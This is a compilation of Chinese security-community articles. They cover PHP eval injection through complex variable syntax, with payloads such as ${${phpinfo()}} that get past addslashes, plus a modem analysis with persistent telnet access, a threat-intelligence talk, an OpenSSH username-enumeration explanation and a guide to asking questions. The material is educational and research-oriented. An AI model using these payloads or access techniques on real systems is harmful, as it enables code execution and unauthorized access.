当字符串用双引号或heredoc结构定义时，其中的变量将会被解析。共有两种语法规则，一种简单规则，一种复杂规则，这里讨论复杂规则。
复杂规则语法的显著标记是用花括号包围的表达式。任何具有string表达的标量变量，数组单元或对象属性都可使用此语法，表达方式{$var_name}或${var_name}。
根据php官方文档，这里提示在PHP5以后可以使用{$}来调用函数、方法等。看下面的例子：
不难理解，`{${getname()}} => {$s1ye}`，以函数返回值命名变量。这里我在函数中加入了`echo
"s1ye";`，可以发现先执行了getname函数并输出了“s1ye”，接着才执行了echo（优先级）。
为了方便理解payload，利用以下代码进行测试：
构造了一个类似phpinfo的简化函数，利用变量解析在双引号中的复杂语法，先执行了test函数输出了“just for
test”并返回true，可以看到，返回一条警告并且变量a的值是空的。
为什么Notice为”Undefined variable: 1”呢？返回TRUE，变量应该为$TRUE的。前面官方文档说过了，$ +
string的变量会被解析，而TRUE是bool类型，并且是个常量，当返回TRUE并命名变量时php解析器将TRUE转换为了string类型。
由于没有该变量导致赋值给a变量时返回为空（并不能用数字开头来命名变量）。
## 理解payload
直接利用payload`{${phpinfo()}}或者${${phpinfo()}}`会返回phpinfo信息，但都会报错。
上面已经讲过了报错的原因，这里就很好理解了。接下来逐步的来分析payload成功执行的过程：
eval函数将字符串当作php代码执行，因此，通过图中代码清晰可见相当于定义了str变量，赋值为一个字符串”{${phpinfo()}}”。
`$str =
"{${phpinfo()}}"`，花括号定义了变量的边界，因此该条语句先执行括号中内容，获取函数返回值，并以返回值的string命名变量再赋值给str变量（同上面分析的test函数一样）。
到了这里只要修改”{${?}}”中的?为其他php代码就可以达到写文件读文件或者getshell等操作了，只需要注意addslashes函数即可。
## 思考
先看一下原题代码
eval('$str="'.addslashes($str).'";');
在双引号中可以利用花括号定义变量边界，调用函数等，如果修改为单引号包裹addslashes函数，还能执行代码了吗。
$str = @(string)$_GET['str'];
eval("$str='".addslashes($str)."';");
很容易就发现虽然addslashes函数部分内容被单引号包裹，但是变量str却变成了双引号包裹。这说明还是可以被利用的，直接尝试上面的payload：
发现报错，变量同样被双引号包裹（其实并没有被双引号包裹），这里却报错了。但是payload2`${${phpinfo()}}`却可以正常执行。
其实这里只要稍微思考一下就可以理解了，用两个例子来解释：
可以看到payload1不能执行成功的原因就是并没有被双引号包裹，所以外层标记变量边界的花括号无用。而payload`${phpinfo()}/${${phpinfo()}}`（无论加几个”${}”都无差，只不过报错更多而已）相当于$a=’string’，a==(phpinfo()的返回值string形式)，即执行函数后利用返回值定义变量并赋值，因此可以执行成功。
## 总结
整体看下来感觉还是很绕的，总结就是遇到问题除了百度谷歌，要多认真读官方文档， 其实文档已经写得很清楚了。 | 社区文章 |
从社区建立以来这么久了，大伙对社区的质量认可度还是挺高的，表示有一点点欣慰，表示我做的一些事情还是有意义的。现在有一个很头疼的问题在我眼前晃悠，为什么小伙伴不在社区里交流？是社区的高质量导致的？还是觉得自己问的问题太low？我希望大家不要吝啬自己的问题，营造好的社区氛围不能靠我一个人的，诚挚的邀请大家一起来共建，且行且珍惜。
简单整理了一下关于提问方面的一些艺术行为，希望对大伙有所帮助
虽然这是老话常谈，但是最近的回答问题的过程中，有点感触。你问题问的好，问的准确，回答你的人才有积极性给你答复，这样你又可以更快的解决你的问题。好多人不知道如何提问，所以我打算把这篇老文章转过来置顶。花点时间看看。
如果没时间，至少看看下面的图吧：
=================================================================================
当提出一个技术问题时，你能得到怎样的回答？这取决于挖出答案的难度， 同样取决于你提问的方法。本指南旨在帮助你提高发问技巧，以获取你最想要的答案……
不想掩饰对这样一些人的蔑视--他们不愿思考，或者在发问前不去完成他们应该做的事。这种人只会谋杀时间--他们只愿索取，从不付出，无端消耗我们的时间，而我们本可以把时间用在更有趣的问题或者更值得回答的人身上。我们称这样的人为“失败者”（由于历史原因，我们有时把它拼作“lusers”）。
提问之前(Before You Ask)
在提出技术问题前，检查你有没有做到：
1. 通读手册，试着自己找答案。
2. 在FAQ里找答案（一份维护得好的FAQ可以包罗万象:）。
3. 在网上搜索（个人推荐google~~~）。
4. 向你身边精于此道的朋友打听。
当你提出问题的时候，首先要说明在此之前你干了些什么；这将有助于树立你的形象：你不是一个妄图不劳而获的乞讨者，不愿浪费别人的时间。如果提问者能从答案中学到东西，我们更乐于回答他的问题。
周全的思考，准备好你的问题，草率的发问只能得到草率的回答，或者根本得不到任何答案。越表现出在寻求帮助前为解决问题付出的努力，你越能得到实质性的帮助。
小心别问错了问题。
另一方面，表明你愿意在找答案的过程中做点什么，是一个非常好的开端。“谁能给点提示？”、“我这个例子里缺了什么？”以及“我应该检查什么地方？”比“请把确切的过程贴出来”更容易得到答复。因为你显得只要有人指点正确的方向，你就有完成它的能力和决心。
怎样提问 (When You Ask)
谨慎选择论坛
小心选择提问的场合。如果象下面描述的那样，你很可能被忽略掉或者被看作失败者：
1. 在风马牛不相及的论坛贴出你的问题
2. 在探讨高级技巧的论坛张贴非常初级的问题；反之亦然
3. 在太多的不同新闻组交叉张贴
用辞贴切，语法正确，拼写无误
我们从经验中发现，粗心的写作者通常也是马虎的思考者（我敢打包票）。
回答粗心大意者的问题很不值得，我们宁愿把时间耗在别处。
正确的拼写，标点符号和大小写很重要。
更一般的说，如果你的提问写得象个半文盲，你很有可能被忽视。
如果你在使用非母语的论坛提问，你可以犯点拼写和语法上的小错--但决不能在思考上马虎 （没错，我们能弄清两者的分别）
使用含义丰富，描述准确的标题
在邮件列表或者新闻组中，大约50字以内的主题标题是抓住资深专家注意力的黄金时机。别用喋喋不休的“帮帮忙”（更别说“救命啊！！！！！”这样让人反感的话）来浪费这个机会。不要妄想用你的痛苦程度来打动我们，别用空格代替问题的描述，哪怕是极其简短的描述。
精确描述，信息量大
1. 谨慎明确的描述症状。
2. 提供问题发生的环境（机器配置、操作系统、应用程序以及别的什么）。
3. 说明你在提问前是怎样去研究和理解这个问题的。
4. 说明你在提问前采取了什么步骤去解决它。
5. 罗列最近做过什么可能有影响的变更。
话不在多
你需要提供精确有效的信息。这并不是要求你简单的把成吨的出错代码或者数据完全转储摘录到你的提问中。如果你有庞大而复杂的测试条件，尽量把它剪裁得越小越好。
这样做的用处至少有三点。第一，表现出你为简化问题付出了努力，这可以使你得到回答的机会增加；第二，简化问题使你得到有用答案的机会增加；第三，在提炼你的bug报告的过程中，也许你自己就能找出问题所在或作出更正。
明白你想问什么
漫无边际的提问近乎无休无止的时间黑洞。最能给你有用答案的人也正是最忙的人（他们忙是因为要亲自完成大部分工作）。这样的人对无节制的时间黑洞不太感冒，因此也可以说他们对漫无边际的提问不大感冒。
如果你明确表述需要回答者做什么（提供建议，发送一段代码，检查你的补丁或是别的），就最有可能得到有用的答案。这会定出一个时间和精力的上限，便于回答者集中精力来帮你，这很凑效。
解决你的问题需要的时间越少，越能从忙碌的专家口中掏出答案。 因此，优化问题的结构，尽量减少专家们解决它所需要的时间，会有很大的帮助--这通常和简化问题有所区别。因此，问“我想更好的理解X，能给点提示吗？”通常比问“你能解释一下X吗？”更好。如果你的代码不能工作，问问它有什么地方不对，比要求别人替你修改要明智得多。
别问应该自己解决的问题
这些问题得由你来搞定，你会从中学到东西。你可以要求给点提示，但别要求得到完整的解决方案。
去除无意义的疑问
别用无意义的话结束提问，例如“有人能帮我吗？”或者“有答案吗？”。
首先：如果你对问题的描述不很合适，这样问更是画蛇添足。其次：由于这样问是画蛇添足，别人会很厌烦你--而且通常会用逻辑上正确的回答来表示他们的蔑视，例如：“没错，有人能帮你”或者“不，没答案”。
谦逊绝没有害处，而且常帮大忙
彬彬有礼，多用“请”和“先道个谢了”。让大家都知道你对他们花费时间义务提供帮助心存感激。
然而，如果你有很多问题无法解决，礼貌将会增加你得到有用答案的机会。
问题解决后，加个简短说明
问题解决后，向所有帮助过你的人发个说明，让他们知道问题是怎样解决的，并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注，应该在那里贴一个补充说明。补充说明不必很长或是很深入；简单的一句“你好，原来是**出了问题！谢谢大家
--Bill”比什么也不说要强。事实上，除非结论真的很有技术含量，否则简短可爱的小结比长篇学术论文更好。说明问题是怎样解决的，但大可不必将解决问题的过程复述一遍。
除了表示礼貌和反馈信息以外，这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案，这可能对他们也很有用。
最后（至少？），这种补充有助于所有提供过帮助的人从中得到满足感。这种感觉对于那些你向他们求助的导师或者专家而言，是非常重要的。问题久拖未决会让人灰心；好人有好报，满足他们的渴望，你会在下次贴出新问题时尝到甜头。
最后问题解决完了，要结贴对吧？ | 社区文章 |
# ZN600电信光猫分析 —— 研精钩深
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：L.A.M[@Duncan](https://github.com/Duncan "@Duncan") SecTeam
## 0x00：引言
由于缺乏对电信天翼网关的全面了解，因此错误地认为可以用一篇文章把这个东西讲清楚。呵呵，毕竟我还只是个没见过世面的年轻人！
为了表达诚意，这篇文章会一口气把天翼网关的启动过程，lxc容器及saf程序分析，配置文件及其读写操作全部抖搂出来，也算是给电信天翼网关系列暂时画上个省略号吧。嘿嘿，期待上海电信研究院对天翼网关的下一次大修———天翼网关
4.0。
在开始正文之前，还是按照Duncan SecTeam的老规矩，祭上本文的mindmap，便于各位客官把握文章脉络，“挑肥拣瘦”。
## 0x01：电信天翼智能网关的简介
电信天翼网关从最老的A8-C、E8-C等设备发展到目前最新的天翼网关4.0经历了至少5个主要的版本代际【1】，如下图。目前，电信天翼网关4.0已经完成了集中采购，按理说已经在某些省市上市了吧【2】。
PS：图片截取自文章【1】
由于我们team只接触过天翼网关2.0和3.0设备，因此没办法对较为老旧的A8-C、E8-C以及天翼网关1.0设备进行分析，也就没法判断电信官方宣称的“智能OS”是否就是PT632和ZN600为代表的天翼网关2.0和3.0所安装“Linux
tc”操作系统。很期待能够拿到一台天翼网关4.0设备，这样就可以再写一篇关于天翼网关“智能OS”的文章，再忽悠小编几块钱稿费啦^_^
再者，文章【1】中对电信宽带做了一个较为全面且通俗易懂的介绍，从中不仅能学知识，还能帮助大家了解一下天翼网关的发展脉络，因此我就不好意思在这里占用篇幅了，不然要挨小编骂了。。。
## 0x002：ZN600系统加载
ZN600光猫的启动脚本是/etc/init.d/rcS文件，说实话这文件还真值得仔细品品，一是可以学到很多shell脚本知识，这个脚本绝对不会让我这么个脚本小子去写的；二是，的确可以了解天翼网关的各种瓜，哈哈哈。
Step
1：检查配置文件。如果/userfs/profile.cfg配置文件的确存在的话，把文件的权限修改为可读可写可执行。这个有点没明白，配置文件为什么要搞成可执行呢？
Step
2：确定Linux内核版本。从代码来看，应该是在系统中预先定义了内核版本信息，如果对应的版本字符串不为空，则加载指定版本的Linux内核。这个操作说明Linux
tc是一个有故事的OS，曾经灵魂附体过好多猫，阔怕。。。就是这个if-else语句的写法着实有点让人觉得好奇怪哟。。。
Step 3：挂载文件系统，然后根据预先设定的值并判断是否支持DBus，如果支持则执行Lxc容器先关操作。
在rcS启动脚本最后的一段代码也验证了我们关于tcapi与DBus之间的关系。如果不支持DBus，那么就使用tcapi来对voice，wifi，igddbus，saf以及tr069c等五个进程对应的Process_Entry进行设置。
Step 4：网络初始化。在进行一系列的目录操作后，系统就开始进行网络的配置了。东西太多，就没有一一展开写了。
Step 5：检查CPU型号，并加载对应的驱动模块。
Step
6：诡异的结尾。按照电信的尿性，下面截图中的SC和CQ应该分别代表了四川和重庆，可是为什么要区别对待呢？一旦判断猫是四川的，就在/tmp/rcs_load_ok中写个1。如果猫是重庆的，就要执行cqct_backinfo程序，然后还要在后台跑/usr/script/qoe_cqct.sh的脚本。这啥情况啊？？？
## 0x03：Lxc容器技术与saf容器管理程序
### 1、Lxc容器技术
作为一个脚本小子，对Linux
Container容器技术了解着实不多啊。为了写这个破文章，查了好多资料，有一个叫做linuxcontainers.org的网站，一开始以为是介绍Linux
Container技术的官方主站，没想到是Ubuntu赞助的一个站点。不过，redhat官网的文章【3】还不错，至少还能读明白一点东西。不过，对Linux
Container容器技术技术的描述上，我还是最喜欢master的解释：对于容器里的每一个程序而言，她们都以为自己才是操作系统的最(正)爱(房)，然而她们都不知道这个叫做Linux的操作系统其实只是一个渣男，他有一票的女朋友。。。
至于虚拟机技术和容器技术的区别嘛？我理解就是一个从没被扒出来过的渣男与被拔出来的渣男之间的区别吧。请原谅我这个脚本小子，这些技术确实超越了我小脑瓜能够理解的范围。。。
PS：原谅我连5毛钱都值不了的PS技术。。。
### 2、saf容器管理程序待补充
ZN600光猫上的saf程序很有可能是上海电信研究院写的，整体的代码量应该是不太大的。Team里头没几个懂逆向的，因此对于这个基于MIPS架构编译的elf文件，着实不是我想要提及的。不过，从chinadsl.cn论坛上找到的为数不多的帖子来看，这玩意的确是一个专门用来管理Linux
Container的管理器。既然有了这个wrapper，那么天翼“智能OS”就无情地阉割了标准Linux Container容器技术中的一票API。
而且，另外一个有趣的事情是，不同厂商生产的天翼智能网关中，saf程序的名字并非完全一样，或多或少留下了生产厂商的烙印。文章【4】中提到华为的天翼光猫对应的容器管理程序是saf-huawei，但在兆能和中兴的设备上却是简单的一个saf。
因为程序反向分析这个技能已经完全超出我这个脚本小子的能力范围了（努力学习ing），因此只能寄希望于各位潜水的大佬和路过的大牛看官们了。。。不过，以我们对master他老人家的了解，这老爷子应该会搞定saf的密码，然后以一种优雅的方法去操纵容器里的OpenWrt！
### 3、OpenWrt的版本判定
由于整个OpenWrt被电信工程师（也可能是兆能的工程师）改得有点狠，很多细节的地方也都被抹掉了，因此要判定ZN600到底跑的哪个版本OpenWrt还是不太容易。下面的截图是从OpenWrt容器中/etc目录下查看到的OpenWrt版本信息，可以看出工程师们可以抹去了版本信息，这对于Hacker而言着实让人极为很反感。不过，我们还是可以从中看出这个OpenWrt的一些信息，比如内部规定的发行版本信息以及更为关键的编译日期：2020年11月24日12点04分48秒，估计是在星期二午饭之前编译的~_^
本以为他们对于版本信息的修改会止步于此，于是就扒到了更深的LuCi里头去，查一下LuCi的版本信息，阔怕啊。。。改得好彻底啊！！！
在OpenWrt官网找遍了，没找到任何R3754的LuCi版本。但仅仅因为这个就判断LuCi的版本信息是被篡改了，还有显得有些不够严谨。因此，我们在Ubunt里头安装Lxc并运行了OpenWrt
21版本，查看了原汁原味的LuCi版本信息是啥样的。最后，严谨的验证了我们认定电信工程师篡改了LuCi版本信息。
### 4、切入OpenWrt容器
非常羡慕文章【5】的作者songee，他手上拿到的可不是“太监”光猫，那猫保留的Lxc程序要多一些。其中，lxc-attach这个程序是可以直接切入到Lxc容器内部的，获得一个容器内OpenWrt的root用户shell。
而ZN600则是一只彻头彻尾的“太监”猫！下面第一张图是从Linux
tc上截取的，第二张图则是在容器里头OpenWrt截取的。果真是，没有对比就没有伤害啊。。。
我们team能够切入到容器里头的OpenWrt还得感谢chinadsl.net论坛的大神achaoge在文章【6】中提供的技术思路——利用Linux系统的rc.local文件实现开机自启动，然后在别的端口运行telnet服务程序。这个方法有两个好处：一是，避开电信工程师苦心编写的saf容器管理程序，不跟这货正面刚，打不赢，咱玩儿迂回包抄；二是，这个方法还解决了telnet服务自启动（持久化）。
按照achaoge在文章【6】中给出的方法，登录ZN600光猫之后，在/opt/upt/apps/apps/etc/目录下，创建rc.local文件并写入以下内容。
在重新启动光猫之后，就可以通过telnet连接ZN600光猫的1123端口，登录到OpenWrt容器中。
## 0x04：配置文件获取
### 1、光猫基本配置信息——/userfs/profile.cfg
从前面对/etc/init.d/rcS启动脚本的分析，我们可以清楚地看到，ZN600开机之后的第一件事情就是读取配置文件/userfs/profile.cfg。这个配置文件中定义了各个不同厂商的光猫硬件信息和相关的软件配置信息。这个配置文件的设计思路很简单，如果某个参数或者选项被设定了则将其对应名称的字符串值赋值为y；否则，直接用#注销掉这个参数或选项。
从我们的分析来看，这个配置文件应该是光猫厂商自己的配置文件，没有针对特定的运营商，甚至没有针对特定的地域范围。除此之外，在/userfs目录下还有一个名为romfile_f.cfg的xml格式配置文件，没有去进一步验证这两文件是不是内容一致。
再者，/etc/profile.cfg配置文件中有一个配置选项让脚本小子们差点吓出尿了。下面第一张截图是sublime截图，第二张是telnet到ZN600之后的截图。还好#妥妥的在那儿，阔怕啊。。。
### 2、天翼智能网关系统配置信息——/etc/romfile_f.cfg
这是一个xml格式的配置文件，存储了包括智能网关超级后台用户密码在内的各种系统配置信息，如下图：
很多人，包括我们这帮傻小子在内，一直以为天翼智能网关只有两个账户：一个后台超级管理账户以及一个登录Web后台的普通用户。万万没想到啊，还有“第三者”！不过，我们尝试过了各种方法，这个第三者始终无法插足Web后台。。。
### 3、其它配置文件——备胎
在/userfs目录下，还有一堆的配置文件，除了前面说到的那两个外，还有一些涉及到具体地域的配置文件。
把这些文件下载到本地之后，逐一查看，全部都是加密了的。。。
看到这些文件，心都凉了，咋整啊？没想到，下载到本地以后，file命令已查看，就是拿gzip压缩了一下而已。虚惊一场。。。
### 4、实时查看配置文件——tcapi
正如同我们在PT632光猫分析中说的那样，天翼系列智能网关实现了一个名叫tcapi的程序，它的作用就是读写及应用系统配置信息，是用以查看当前配置文件的正确解法。
## 0x05：Some Tricks
由于Linux
tc里面阉割了busybox，这个问题team的前两篇文章已经说过了，干掉find和grep命令。当然，天翼智能网关的“智能OS”自始至终就把Linux系统内置的alias命令排除在外（这一点最恶心人）。
### 1、开启telnet
关于开启电信光猫telnet的方法其实就那么一两种，在牛人一堆的chinadsl.net一搜就能找到。但是，碍于电信集采的时候选定了好几家厂商，因此各个厂商在实现上会略有区别，所以光猫开启telnet的方法因为因为厂商的不同略有差异。再者，不同地域的电信公司也会有一些奇怪的电信光猫超级后台密码管理策略，比如每隔一段时间通过TR069协议检查超级后台密码是否更改，如果更改就直接给你换个新的；再者，不同地域默认的后台超级管理密码也可能不一样，当然还需要进一步、全面的分析和验证（已经在chinadsl.net注册账号了，准备找大神和大牛们请教^_~）。
再者，前面Lxc容器技术部分也提到了如何利用rc.local文件实现容器内telnet的自启动和持久化。个人觉得这个技巧最为精妙，用最简单的方法，实现了最暴力的穿透。
### 2、物理机与OpenWrt容器之间的文件交换
是的，电信工程师“过分到”阉割vi的地步了，因此要想在上面写个东西挺难的。咋整呢？
我们可以通过在物理机里面添加rc.local文件实现与OpenWrt共享rc.local配置文件，那么同样可以添加别的文件啊！但是，文件夹的话有些问题，只能共享目录，不能在共享的目录下方共享别的文件（努力找原因…）。
再者，如果你不想去动系统相关的配置文件，那也可以在ZN600的U口上插个U盘，这样也能实现容器内外之间的文件共享。
用U盘来在交换文件可以做到容器内外双向传递！
### 3、文件下载
如果只希望下载特定文件到自己电脑进行分析的话，可以利用上一篇介绍PT632光猫文章中的方法，利用替换原本系统配置文件的方法，下载所需要的特定文件。这种方法对于急需分析某个文件而言，特别方便。
再者，如果希望下载大量文件的话，还是拷贝到U盘好使，我们一开始也是这样干的，不想去动手配置FTP服务器。
最后，可以在本地配置一个允许上传文件的FTP服务器，这样就可以用Linux tc中busybox所导出的ftpput上传文件。
## 0x04：总结
1、功能性。其实，天翼网关中涉及Moden那部分几乎没什么变化，毕竟各种底层的协议已经设计好了，而且除非电信网络有了实质性的性能提升，几乎不会有大的变动。当然，在原有的基础上加上一个LXC跑起来的OpenWrt的话，那一切就变得有意思了，毕竟那么多的插件可以用，功能性几乎是呈几何增长啊。
2、易用性。其实，绝大多数家庭都用不到那些OpenWrt插件，更别说ClamAV这样的安全插件了。不过，既然是脱胎于天翼智能网关，那么传统的那套操作界面也没有实质性变化，对于绝大多数家庭而言，也就那样吧。
3、安全性。由于引入了LXC和OpenWrt，从理论上来说，功能性增加了，攻击面也会相应的增加。还好，LXC自身是一项非常成熟的虚拟化技术，安全性还是信得过吧。再者，OpenWrt毕竟跑在Jail里，没有过硬的漏洞应该是打不穿的。还有，不得不说一下那帮电信工程师，的确是很有经验并且很在意安全的，那么严格的阉割（三大里头）也只有他们干得出来了。
## 0x05：参考
1、《决定宽带上网速率的主要因素》. <http://gd.189.cn/kd/kdfw/kpWap.html>
2、《中国电信2021年天翼网关4.0集采结果公布：中兴通讯成最大赢家》.
<https://new.qq.com/omn/20210524/20210524A095YF00.html>
3、《什么是Linux容器？》. <https://www.redhat.com/zh/topics/containers/whats-a-linux-container>
4、《[光猫] 玩机：激活华为光猫的小宇宙-openwrt》
.<http://www.chinadsl.net/thread-158737-1-1.html>
5、《F650/F450、HS8145等ARM平台，LXC容器内运行 OpenWrt 19.07.1 子系统》
.<http://www.chinadsl.net/thread-166731-1-1.html>
6、《中兴 F450A/F650A 免 TTL 持久开 ssh》
.<http://www.chinadsl.net/thread-165040-1-1.html> | 社区文章 |
# 【技术分享】 360威胁情报中心：态势感知中的威胁情报
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
本文是此次 2017 ISC 大会同名演讲的文字版，对当时因为时间限制没有展开的内容做了着重阐述。
**态势感知是一个大数据分析问题**
**态势感知是一种安全能力建设，这种能力侧重于威胁的检测、分析。**
恰好适应了当前单纯在防御上进行投入，已经无法有效应对当前威胁的现状。因此在4.19讲话催化下，迅速成为了最重要的安全热点。
态势感知的基础是对报警和元数据的收集，需要在流量、内容、终端三个方面，利用实时数据和历史数据进行检测。但单纯报警的可视化展示并不是真正的“态”。要呈现当前的“态”，需要针对报警或者异常，进行误报甄别、定性分析（识别定向型攻击或是随机性攻击）、了解攻击的影响范围和危害、确定缓解或清除的方法及难度等等。在这个前提下，再对组织面临安全事件全面呈现才能够称为“态”。而“势”则是未来可能的安全事件或状态，这种预测可以基于对已知攻击者的意图、技战术特点以及Killchain分析得出，如果能够获得相关行业或者组织的情报共享，无疑可以更全面的掌握“势”。因此我们可以认为，态势感知在某种意义上是一个大数据安全分析的问题（现今任何安全话题好像都可以这么说）。
提到大数据分析，最直接联系到的另一个词汇应该就是机器学习了。但现阶段机器学习或者人工智能在安全中的作用没有一般想象的大。著名的大数据分析公司Palantir认为：如果数据源自许多不同来源、难以保证数据完备性、或者对手有意识对抗检测等条件下，难以完全依赖机器学习，更多还是需要安全分析师的介入。另一方面讲，机器学习发现的异常是没有上下文的，如果对这种异常要进行处置，也需要分析人员的介入，就以机器学习最成熟的发现DGA域名为例，它不能告诉安全运营者，这个DGA域名对应着一个勒索软件、蠕虫木马，还是一个APT攻击，是否是DNS传输隧道等？没有这些信息就无法对事件进行有效处置。最后，机器学习的误报率还是不能得到很好的控制，根据趋势公司今年给出的资料，机器学习的误报率相对于传统的规则检测要高100倍以上。总之，随着机器学习技术的发展，我们可以依靠它来提供分析人员的效率，但并不能完全替代。安全分析师依然是最重要的资源。
**安全分析能力需要逐步建设**
成熟的安全分析师对大多数组织来说，可遇不可求。在这种条件下，如何建设态势感知能力呢？下面提供一种逐步渐进的发展路径供参考：
1\.
基于可机读威胁情报起步：以IOC为例，及时发现失陷主机是防范重大损失实际发生的关键，IOC情报依赖DNS日志或者上网行为日志就可以进行检测分析。并且提供攻击类型、团伙、攻击方式、危害以及处置建议等上下文信息。对内部数据、外部情报以及对人的要求都较简单，作为起步非常适合，让安全人员对检测、分析、研判、处置整个过程能够有实际的操作和理解。
2\.
由现有产品提供的已有分析模型进阶：好的大数据分析类产品（开源或商用）都会提供一些典型的安全分析场景，如何发现异常、如何通过情报快速排查、如何利用内部数据深度调查分析。利用这些现有产品完成更多内部数据的收集、掌握进一步的安全分析技能，无疑是最方便、可行的途径。
3\.
通过TTP情报（攻击者的战术、技术和攻击过程），进一步增强异常分析能力：如果经过前两个阶段，组织在数据采集能力、情报收集能力和安全分析师的个人能力上都有比较稳固的基础了，那么可以在着重收集和自己行业、组织相关的TTP类型的威胁情报，了解攻击者的技战术特点，尝试在数据分析平台中查找相对应的线索并进行研判。
4\.
通过自动化工具固化成熟的分析模式：最终组织内的内部数据、外部情报相对稳定，分析的模式和过程相对固化和清晰，这时候就需要将其中可以自动化完成的部分通过不同方式实现。以达到高效运维、避免安全分析师过多陷入简单重复劳动的目的。
整个过程，无疑是以威胁情报为中心的。其中涉及到多种不同的威胁情报，下面一一为大家介绍。
**可机读威胁情报MRTI**
可机读情报更多的是为安全产品赋能，让它们可以检测发现更多的关键性威胁，同时为报警提供优先级、上下文等事件响应必要的内容，让设备更聪明，人也更容易响应处置。最常见的可机读情报分3类：
**1\. 失陷检测IOC情报：**
用以发现内部被APT团伙、木马后门、僵尸网络控制的失陷主机，类型上往往是域名、URL等，从趋势上看通过攻击一些合法网站部署CnC架构的比例在上升，因此URL类型的检测必要性在增加。
**2\. 文件信誉：**
单一病毒引擎对文件的检测能力难以满足现实的需要，基于云端大量样本库，通过多引擎、沙箱、yara规则等检测分析方式，可以更全面准确的得到恶意文件的类型、家族以及其它信息。通过文件HASH方式查询文件信誉，是在不影响本地系统稳定性和性能条件下，对AV或者沙箱检测的有效增强模式。
**3\. IP情报：**
IP情报是互联网业务服务器防护场景下的情报数据，利用IP情报数据可以拦截已知的黑IP，对Web攻击报警进行优先级判断（甄别网络中大量存在的自动化攻击）并增加攻击相关的上下文信息。
**威胁情报分析平台**
一旦出现需要处理的报警，安全分析师需要有相应的工具进行误报识别、攻击类型判别并能够对攻击意图、团伙背景等做进一步分析。威胁情报分析平台就是以此为目的提供的专用工具。
以360威胁情报分析平台（ti.360.net）为例，针对一个域名可以提供下列的信息：
**不同安全情报源对域名的判别信息；**
**域名关联的样本及恶意链接信息；**
**域名本身的访问量和最早存在时间、最近访问时间等；**
**已知和域名相关的攻击家族或者攻击团伙，以及对应的详情；**
**曾经提到这个域名的安全blog或分析报告；**
**域名曾经指向哪些IP；**
**域名的注册者信息；**
**……**
利用这些信息可以掌握全球范围内主要情报源对查询域名的信息，判断域名是黑是白，被什么样的攻击者使用，使用的时间段和影响，并可以通过关联分析挖掘更多的内容。
提到关联分析大家往往会和攻击者溯源划上等号，但实际还有很多实用的场景，比如在一次攻击中发现的IP，我们希望了解是否会是定向性攻击，通过平台查询发现这些IP近期曾被黑产使用来做SPAM攻击，这样可以初步排除定向攻击的可能性。同样希望知道一次攻击中的几个IP是否属于同一团伙，可以参照通过情报平台的攻击历史信息外，还可以注意IP的地理位置、主机类型（网关、IDC主机、终端等）、操作系统等信息，这些都是做快速判断的有力依据。
关联分析需要一定的知识和经验基础，可视化是有效降低分析门槛的方式，特别是内置自动化分析模型的可视化分析，可以自动化展现查询对象相关的其它元素，并且对特殊对象通过一定方式标识出来。就象下面这个Fortinet
最近公布的某个IOC，虽然通过域名本身没有特别多上下文信息，但在可视化分析中，关联的攻击资源和虚拟身份可以一眼看清楚。
**TTP情报（战术、技术、过程）**
TTP情报是提供给安全分析师及安全管理者使用的人读情报，它关注于恶意软件、漏洞、攻击事件或者攻击团队，着重分析其目的、危害、机制、影响范围以及检测防范机制。这些情报可以让企业面向针对自己组织或行业的攻击，提前预防威胁的发生、或者获取威胁发生时的处理方法，同时分析师还能通过TTP情报扩展、积累安全狩猎的手段和方法。
还有一些特殊目的的TTP情报报告，在这里以360威胁情报中心发布过的试举两例：
1\.
纠正外部错漏信息：2017年8月7日，Xshell软件厂商发布公告说在卡巴斯基的配合下解决了一个软件版本的安全问题，但没有公布技术细节和危害，因而未受到重视。而360威胁情报中心跟踪发现其组件含有后门代码，并且现网中有大量失陷主机信息被收集并可能被植入更多恶意组件，因此于8月14日率先发布分析报告，其它安全厂商也陆续确认此问题。最终引起大多数企业的重视开始处理相关风险。（参考链接：<https://ti.360.net/blog/articles/analysis-of-xshell-ghost/> ）
2\.
综合类的分析报告：360威胁情报中心9月10日发布了《软件供应链来源攻击分析报告》，就是针对事件频发、影响极大且危害严重的供应链攻击方式，从攻击方式、典型案例、防护建议等多个方面，给用户提供详尽的情报信息。（参考链接：<https://ti.360.net/blog/articles/supply-chain-attacks-of-software/> ）
**小结**
威胁情报在国内还属于比较新的安全技术，但却是现阶段帮助组织快速提升检测、分析、预防预测能力的最佳选择，尤其是在态势感知这种综合能力建设过程中必须考虑到威胁情报。同时依托不同类型的情报产品，提高分析人员效率，让分析人员能力逐步成长，也是解决人才缺口行之有效的方法。 | 社区文章 |
* * *
本文翻译自: <https://blog.nviso.be/2018/08/21/openssh-user-enumeration-vulnerability-a-close-look/>
* * *
### 介绍
OpenSSH用户枚举漏洞（CVE-2018-15473）是由[GitHub
commit](https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0)公开的。
这个漏洞虽然不会生成有效用户名的列表名单，但它允许猜测用户名。
在这篇博客文章中，我们对这个漏洞进行了更深入的研究，并提出了缓解措施和监控措施。
### 技术细节
该漏洞表现在OpenSSH的几个认证功能中。我们密切关注Ubuntu OpenSSH实现的公钥认证中的这个漏洞。
通过向OpenSSH服务器发送格式错误的公钥认证消息，可以确定特定用户名的存在。如果用户不存在，则向客户端发送认证失败消息。如果用户存在，解析消息失败将中止通信：连接将在不发送任何消息的情况下关闭。此漏洞在Python的[PoC](\(http://www.openwall.com/lists/oss-security/2018/08/16/1)脚本中实现。
该漏洞是因为在对消息进行完全解析之前，存在用户名不存在的通信。修复漏洞本质上是简单的：逆向逻辑。首先完全解析消息，然后进行通信。
测试PoC的一种方法是在调试模式下启动OpenSSH服务器：
之后，使用已存在的用户名执行PoC脚本
在服务器端，将会发生错误：
也可以在/var/log/auth.log中找到这个错误：
解析消息失败，导致客户端和服务器之间的连接关闭，而且没有来自服务器的消息：
注意，最后一个报文是粉红色的（即客户端报文），没有后续的蓝色报文（即服务器报文）。
当使用不存在的用户名来执行PoC脚本时：
没有出现“不完整消息”的错误信息：
服务器向客户端发回消息：
在通信结束时注意蓝色服务器报文。
这就是如何利用公钥认证中的漏洞来揭露用户名的有效性。
